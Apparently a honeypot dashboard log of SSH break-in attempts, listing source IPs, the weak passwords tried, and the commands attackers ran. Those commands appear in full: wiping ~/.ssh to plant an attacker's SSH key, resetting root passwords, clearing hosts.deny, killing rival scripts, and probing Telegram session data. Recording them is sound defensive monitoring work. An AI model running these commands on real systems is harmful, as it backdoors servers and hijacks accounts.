2026-06-27 23:27 EDT ยท as admin/123456, admin/admin, admin/password
echo (repeated echo 12x)
$ echo SHELL_TEST ร—36
๐ŸŽญ obsidian_merlion_root (8.219.95.97) โ€” Singapore, Singapore ยท 5 sessions ยท 5 cmds
2026-06-30 21:33 EDT ยท as admin/123456, oracle/oracle123, oracle/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—5
๐ŸŽญ manic_monsoon_root (135.235.138.43) โ€” Pune, India ยท 1 session ยท 2 cmds
2026-07-01 01:20 EDT ยท as oracle/Qq123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ murky_ramen_root (111.238.174.6) โ€” Nukui, Japan ยท 1 session ยท 2 cmds
2026-07-01 01:12 EDT ยท as oracle/Qq123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ frantic_volcano_root (175.103.54.172) โ€” Utan, Indonesia ยท 1 session ยท 2 cmds
2026-07-01 01:06 EDT ยท as oracle/Qq123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ jittery_junk_root (8.217.192.50) โ€” Hong Kong, Hong Kong ยท 6 sessions ยท 6 cmds
2026-06-30 20:43 EDT ยท as admin/123456, oracle/123456, oracle/oracle123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—6
๐ŸŽญ feral_durian_root (47.237.12.112) โ€” Singapore, Singapore ยท 13 sessions ยท 13 cmds
2026-06-30 20:44 EDT ยท as admin/admin, admin/admin123, admin/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—13
๐ŸŽญ sneaky_peak_root (152.32.171.216) โ€” Hong Kong, Hong Kong ยท 1 session ยท 1 cmd
2026-06-30 23:50 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ frantic_dragon_db (115.29.171.141) โ€” Hangzhou, China ยท 1 session ยท 1 cmd
2026-06-30 23:15 EDT ยท as postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ rogue_bazaar_root (88.249.195.23) โ€” Istanbul, Tรผrkiye ยท 1 session ยท 2 cmds
2026-06-30 22:52 EDT ยท as oracle/1q2w3e4r
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rabid_dutch_root (91.92.40.10) โ€” Amsterdam, The Netherlands ยท 11 sessions ยท 99 cmds
2026-06-30 20:46 EDT ยท as admin/123456, admin/admin, admin/admin123
OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS release detection via /etc/os-release โ†’ environment variable sanitization โ†’ passive reconnaissance without payload execution
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—11
$ uname -s -v -n -m 2 > /dev/null ร—11
$ /bin/uname -s -v -n -m 2 > /dev/null ร—11
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—11
$ busybox uname -s -v -n -m 2 > /dev/null ร—11
$ ( [ -f /proc/version ] ร—11
$ [ -f /proc/version ] ร—11
$ head -1 /proc/version | cut -d -f1 ร—11
$ [ -f /etc/os-release ] ร—11
๐ŸŽญ wily_durian_root (8.222.143.123) โ€” Singapore, Singapore ยท 32 sessions ยท 32 cmds
2026-06-30 18:16 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ silent_wraith_root_22 (190.112.222.22) โ€” San Pedro, Costa Rica ยท 1 session ยท 2 cmds
2026-06-30 19:51 EDT ยท as oracle/1qaz2wsx
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ zealous_eagle_root_167 (192.3.245.167) โ€” Los Angeles, United States ยท 1 session ยท 9 cmds
2026-06-30 18:32 EDT ยท as root/root
OS fingerprint via uname -a โ†’ hardware audit with ifconfig and cat /proc/cpuinfo โ†’ cryptomining scan via ps grep patterns โ†’ Telegram data enumeration targeting /home/*/.local/share/TelegramDesktop/tdata โ†’ failed hardware locate attempt for D877F783D5D3EF8Cs โ†’ benign echo command execution
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ restless_bike_root (94.154.43.181) โ€” Amsterdam, The Netherlands ยท 1 session ยท 1 cmd
2026-06-30 17:39 EDT ยท as root/root
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m
๐ŸŽญ nocturnal_silk_root (111.228.13.226) โ€” Beijing, China ยท 1 session ยท 19 cmds
2026-06-30 14:42 EDT ยท as root/pass123
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "root:r3gPxwndvOol"|chpasswd|bash โ†’ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh โ†’ cat /
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:r3gPxwndvOol"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ derelict_phantom_sol (186.10.86.130) โ€” Santiago, Chile ยท 1 session ยท 2 cmds
2026-06-30 14:25 EDT ยท as oracle/welcome1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ brisk_lantern_root_69 (124.228.34.69) โ€” Hengyang, China ยท 1 session ยท 2 cmds
2026-06-30 14:00 EDT ยท as oracle/oracle@123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rabid_silk_root_130 (14.29.198.130) โ€” Shenzhen, China ยท 1 session ยท 20 cmds
2026-06-30 11:00 EDT ยท as oracle/123qweasd
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123qweasd\n0Xk2mdp6CtFE\n0Xk2mdp6CtFE"|passwd|bash
$ Enter new UNIX password:
$ echo "123qweasd\n0Xk2mdp6CtFE\n0Xk2mdp6CtFE\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ velvet_silk_root (117.83.248.193) โ€” Nanjing, China ยท 1 session ยท 9 cmds
2026-06-30 10:35 EDT ยท as root/root
/root/root login via velvetsilkroot โ†’ OS fingerprinting (uname -a, /ip cloud print) โ†’ hardware enumeration (ifconfig, cat /proc/cpuinfo) โ†’ cryptominer reconnaissance (ps | grep '[Mm]iner', ps -ef | grep '[Mm]iner') โ†’ Telegram desktop data probing (ls -la ~/.local/share/TelegramDesktop/tdata) โ†’
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ arctic_eagle_sol (141.11.88.22) โ€” Crugers, United States ยท 27 sessions ยท 27 cmds
2026-06-30 06:53 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—27
๐ŸŽญ spectral_samba_root_68 (177.54.62.68) โ€” Criciรบma, Brazil ยท 1 session ยท 2 cmds
2026-06-30 02:46 EDT ยท as oracle/Pass1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ aloof_markhor_root (203.135.42.52) โ€” Karachi, Pakistan ยท 1 session ยท 2 cmds
2026-06-30 02:25 EDT ยท as oracle/Pass1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rusty_husk_root (68.211.177.55) โ€” Santiago, Chile ยท 1 session ยท 2 cmds
2026-06-30 02:24 EDT ยท as oracle/Pass1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ drowsy_liberty_root_184 (104.248.218.184) โ€” Santa Clara, United States ยท 1 session ยท 2 cmds
2026-06-30 02:23 EDT ยท as oracle/Pass1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ aloof_burger_db (172.172.196.177) โ€” Boydton, United States ยท 1 session ยท 2 cmds
2026-06-30 02:11 EDT ยท as oracle/Pass1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ clandestine_yankee_root (107.175.69.109) โ€” Buffalo, United States ยท 1 session ยท 2 cmds
2026-06-30 02:05 EDT ยท as oracle/11111111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ baroque_lotus_db (168.144.123.64) โ€” Bengaluru, India ยท 1 session ยท 2 cmds
2026-06-30 02:03 EDT ยท as oracle/Pass1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ haywire_tulip_root (160.119.71.11) โ€” Amsterdam, The Netherlands ยท 110 sessions ยท 110 cmds
2026-06-27 10:56 EDT ยท as admin/password, deploy/deploy, deploy/deploy123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—110
๐ŸŽญ brazen_clog_root (94.154.43.66) โ€” Amsterdam, The Netherlands ยท 21 sessions ยท 21 cmds
2026-06-29 21:36 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 21x across 21 sessions โ€” automated OS fingerprinting.
$ uname -a ; echo 'vT' ร—21
๐ŸŽญ obsidian_chateau_root (51.75.141.245) โ€” Roubaix, France ยท 1 session ยท 20 cmds
2026-06-29 19:59 EDT ยท as admin/asdf1234
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
